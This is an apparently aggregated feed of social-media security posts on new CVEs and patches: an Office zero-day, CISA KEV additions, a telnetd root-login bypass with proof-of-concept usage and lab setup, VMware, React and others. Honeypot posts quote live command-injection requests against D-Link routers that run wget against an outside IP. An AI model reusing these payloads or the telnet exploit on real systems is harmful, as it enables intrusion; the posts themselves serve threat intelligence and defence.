Microsoft releases emergency patch for an Office zero-day

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21509

‼️ CVE-2026-21509: Reliance on untrusted inputs in a security decision in Microsoft Office allows an unauthorized attacker to bypass a security feature locally

▪️Zero Day: Yes; Actively exploited
▪️CVSS: 7.8
▪️CVE Published: Today, January 26th, 2026

Advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21509

Affected Products:

▪️Microsoft Office 2016 (64-bit edition)
▪️Microsoft Office 2016 (32-bit edition)
▪️Microsoft Office LTSC 2024 for 64-bit editions
▪️Microsoft Office LTSC 2024 for 32-bit editions
▪️Microsoft Office LTSC 2021 for 32-bit editions
▪️Microsoft Office LTSC 2021 for 64-bit editions
▪️Microsoft 365 Apps for Enterprise for 64-bit Systems
▪️Microsoft 365 Apps for Enterprise for 32-bit Systems
▪️Microsoft Office 2019 for 64-bit editions
▪️Microsoft Office 2019 for 32-bit editions

🟠 CVE-2026-21509 - High (7.8)

Reliance on untrusted inputs in a security decision in Microsoft Office allows an unauthorized attacker to bypass a security feature locally.

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-21509/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

Es gibt eine ausgenutzte 0-day Schwachstelle CVE-2026-21509 in faktisch allen Microsoft #Office Versionen. Ab Office 2021 patcht Microsoft serverseitig. Für Office 2016 ist ein Patch da, Office 2019 ist noch offen.

https://borncity.com/blog/2026/01/27/microsoft-office-0-day-schwachstelle-cve-2026-21509-notfall-updates-teilweise-verfuegbar/

Microsoft released CVE-2026-21509 today for an Office Security Feature Bypass Vulnerability. Microsoft has indicated this CVE is being actively exploited and is publicly disclosed.

Update: Patches for Office 2016 and 2019 are apparently now available.

“Office 2021 and later will be automatically protected via a service-side change, but will be required to restart their Office applications for this to take effect.”

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21509

#ThreatIntel

‼️CISA has added 5 vulnerabilities to the KEV Catalog

https://darkwebinformer.com/cisa-kev-catalog/

CVE-2018-14634: Linux Kernel Integer Overflow Vulnerability

CVE-2025-52691: SmarterTools SmarterMail Unrestricted Upload of File with Dangerous Type Vulnerability

CVE-2026-23760: SmarterTools SmarterMail Authentication Bypass Using an Alternate Path or Channel Vulnerability

CVE-2026-24061: GNU InetUtils Argument Injection Vulnerability

CVE-2026-21509: Microsoft Office Security Feature Bypass Vulnerability

The telnetd vuln has a CVE now - CVE-2026-24061

Proof of concept: https://github.com/SafeBreach-Labs/CVE-2026-24061/blob/main/telnet_rce.py

Any good, legitimate checker around for CVE-2026-24061 ?

Exploitation is trivial, checking for the vulnerability, not so much.

#CVE_2026_24061 #telnetd #vulnerability

‼️CVE-2026-24061: Telnet RCE Exploit

GitHub: https://github.com/SafeBreach-Labs/CVE-2026-24061

This script exploits the CVE-2026-24061 vulnerability in Telnet servers using a malformed USER environment variable.

CVSS: 9.8

Usage:

python telnet_rce.py <host> [-p <port>]

Arguments:

host: Target IP address or hostname (required)
-p, --port: Target port (default: 23)

Example:

python telnet_rce.py 192.168.1.100
python telnet_rce.py example.com -p 23

Writeup: https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/

Exploitation is completely trivial...

#CVE_2026_24061 #telnetd #vulnerability

New PoC Exploit released for telnetd CVE by SafeBreach Labs

Happy Monday. You may want to keep an eye on CVE-2026-24061 which is a critical telnetd authentication bypass flaw that attackers are actively exploiting to gain root access: New research from SafeBreach Labs deepens the story with the first full root cause analysis and proof-of-concept exploit that explains exactly how this vulnerability works—and why it’s highly dangerous and easy to exploit.  The…

https://itnerd.blog/2026/01/26/new-poc-exploit-released-for-telnetd-cve-by-safebreach-labs/

Here I am installing #telnetd on Debian in the laboratory... To test CVE-2026-24061.

#CVE_2026_24061

vagrant init debian/bookworm64
vagrant up
vagrant ssh 

sudo bash
apt update
apt install inetutils-telnetd=2:2.4-2+deb12u1 inetutils-telnet=2:2.4-2+deb12u1

1. Edit /etc/inetd.conf to enable telnetd
2. systemctl restart inetutils-inetd
3. Check telnet is running (ss -tupln | grep :23)

Congratulations, you got yourself a system vulnerable to CVE-2026-24061 !

#CVE_2026_24061 #telnetd #vulnerability

I've successfully tested the PoC in the #SafeBreach Labs GitHub repository. It seems like a good place to start to write a checker (if there isn't a good one).

https://github.com/SafeBreach-Labs/CVE-2026-24061

#CVE_2026_24061 #telnetd #vulnerability

11 years of “trust me, bro” baked into every telnet packet.

Type -f root, hit enter, become god.

The ’90s called—they want their shell back.
https://securityaffairs.com/187255/security/11-year-old-critical-telnetd-flaw-found-in-gnu-inetutils-cve-2026-24061.html

‼️CISA has added 5 vulnerabilities to the KEV Catalog

https://darkwebinformer.com/cisa-kev-catalog/

CVE-2018-14634: Linux Kernel Integer Overflow Vulnerability

CVE-2025-52691: SmarterTools SmarterMail Unrestricted Upload of File with Dangerous Type Vulnerability

CVE-2026-23760: SmarterTools SmarterMail Authentication Bypass Using an Alternate Path or Channel Vulnerability

CVE-2026-24061: GNU InetUtils Argument Injection Vulnerability

CVE-2026-21509: Microsoft Office Security Feature Bypass Vulnerability

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has identified a critical VMware vCenter Server vulnerability (CVE-2024-37079) as being actively exploited, mandating federal agencies to patch their systems within three weeks. This heap overflow vulnerability allows for remote code execution with low complexity and no required privileges or user interaction, and Broadcom advises immediate patching as no workarounds exist.
https://www.bleepingcomputer.com/news/security/cisa-says-critical-vmware-rce-flaw-now-actively-exploited/

VMware vCenter : la CVE-2024-37079 est activement exploitée d’après la CISA https://www.it-connect.fr/vmware-vcenter-la-cve-2024-37079-est-activement-exploitee-dapres-la-cisa/ #ActuCybersécurité #Cybersécurité #Vulnérabilité #VMware

As it is public now* I'm able to talk about it.

Check your VMware infrastructure. CVE-2024-37079 is known to have been exploited in the wild.

> UPDATE: Broadcom has information to suggest that exploitation of CVE-2024-37079 has occurred in the wild.

https://euvd.enisa.europa.eu/vulnerability/CVE-2024-37079
https://euvd.enisa.europa.eu/vulnerability/CVE-2024-37080
https://euvd.enisa.europa.eu/vulnerability/CVE-2024-37081

https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/securityadvisories/0/24453

#infosec #itsec #itsecurity

* technically since Friday.

New React.js patches released today for CVE-2026-23864. Fixes for DoS issues reported by several people, including Yours Truly 🙂

The blog post at https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components has been updated with the new info. #react

🟠 CVE-2026-23864 - High (7.5)

Multiple denial of service vulnerabilities exist in React Server Components, affecting the following packages: react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack.

The vulnerabilities are triggered by sending specially c...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-23864/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

Suddenly seeing exploitation attempts of CVE-2019-17621 (D-Link DIR-859 Wi-Fi router RCE). In 3 years of running my Lophiid honeypots, this is the first time I see this specific vuln being exploited.

An example request:

SUBSCRIBE /gena.cgi?service=`echo ; wget http://185.93.89.75/81_CAJ0BIC0CCF0BJA_CVE-2019-17621 -O /dev/null; echo >` HTTP/1.1
Host: x.x.x.x
Callback: <http://192.168.0.2:1337/ServiceProxy0>
Connection: close
Nt: upnp:event
Timeout: Second-1800
User-Agent: Mozilla/1.0

#honeypot #dfir #infosec #cybersecurity #threatintel

@heinen we get SUBSCRIBE's in from generic D-Link / TRENDnet gena.cgi Buffer Overflow Attempts all the time

```
${SENSOR_IP}/gena.cgi?service=`echo ; wget http://185.93.89.75/81_DI0EI0A0CDC_CVE-2019-17621 -O /dev/null; echo >`
```

Most of the hits from: 192.159.99.95
Alot from: 185.93.89.75
Tiny amt from: 146.70.117.104

May need to see if @iagox86 thinks if that CVE fits too for this.

‼️CISA has added 5 vulnerabilities to the KEV Catalog

https://darkwebinformer.com/cisa-kev-catalog/

CVE-2018-14634: Linux Kernel Integer Overflow Vulnerability

CVE-2025-52691: SmarterTools SmarterMail Unrestricted Upload of File with Dangerous Type Vulnerability

CVE-2026-23760: SmarterTools SmarterMail Authentication Bypass Using an Alternate Path or Channel Vulnerability

CVE-2026-24061: GNU InetUtils Argument Injection Vulnerability

CVE-2026-21509: Microsoft Office Security Feature Bypass Vulnerability

🚨È online un nuovo video su MongoBleed🚨
(CVE-2025-14847), una vulnerabilità recente che sta già venendo sfruttata attivamente.

Non si tratta di una classica esecuzione di codice remoto, ma il rischio è tutt’altro che teorico.

Nel video spiego perché questa vulnerabilità merita attenzione, cosa può succedere in scenari reali e perché ignorarla è un errore.

https://youtu.be/8DEcMrY8kpA

#sicurezza #mongodb
@sicurezza

🟠 CVE-2026-24486 - High (8.6)

Python-Multipart is a streaming multipart parser for Python. Prior to version 0.0.22, a Path Traversal vulnerability exists when using non-default configuration options `UPLOAD_DIR` and `UPLOAD_KEEP_FILENAME=True`. An attacker can write uploaded f...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-24486/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack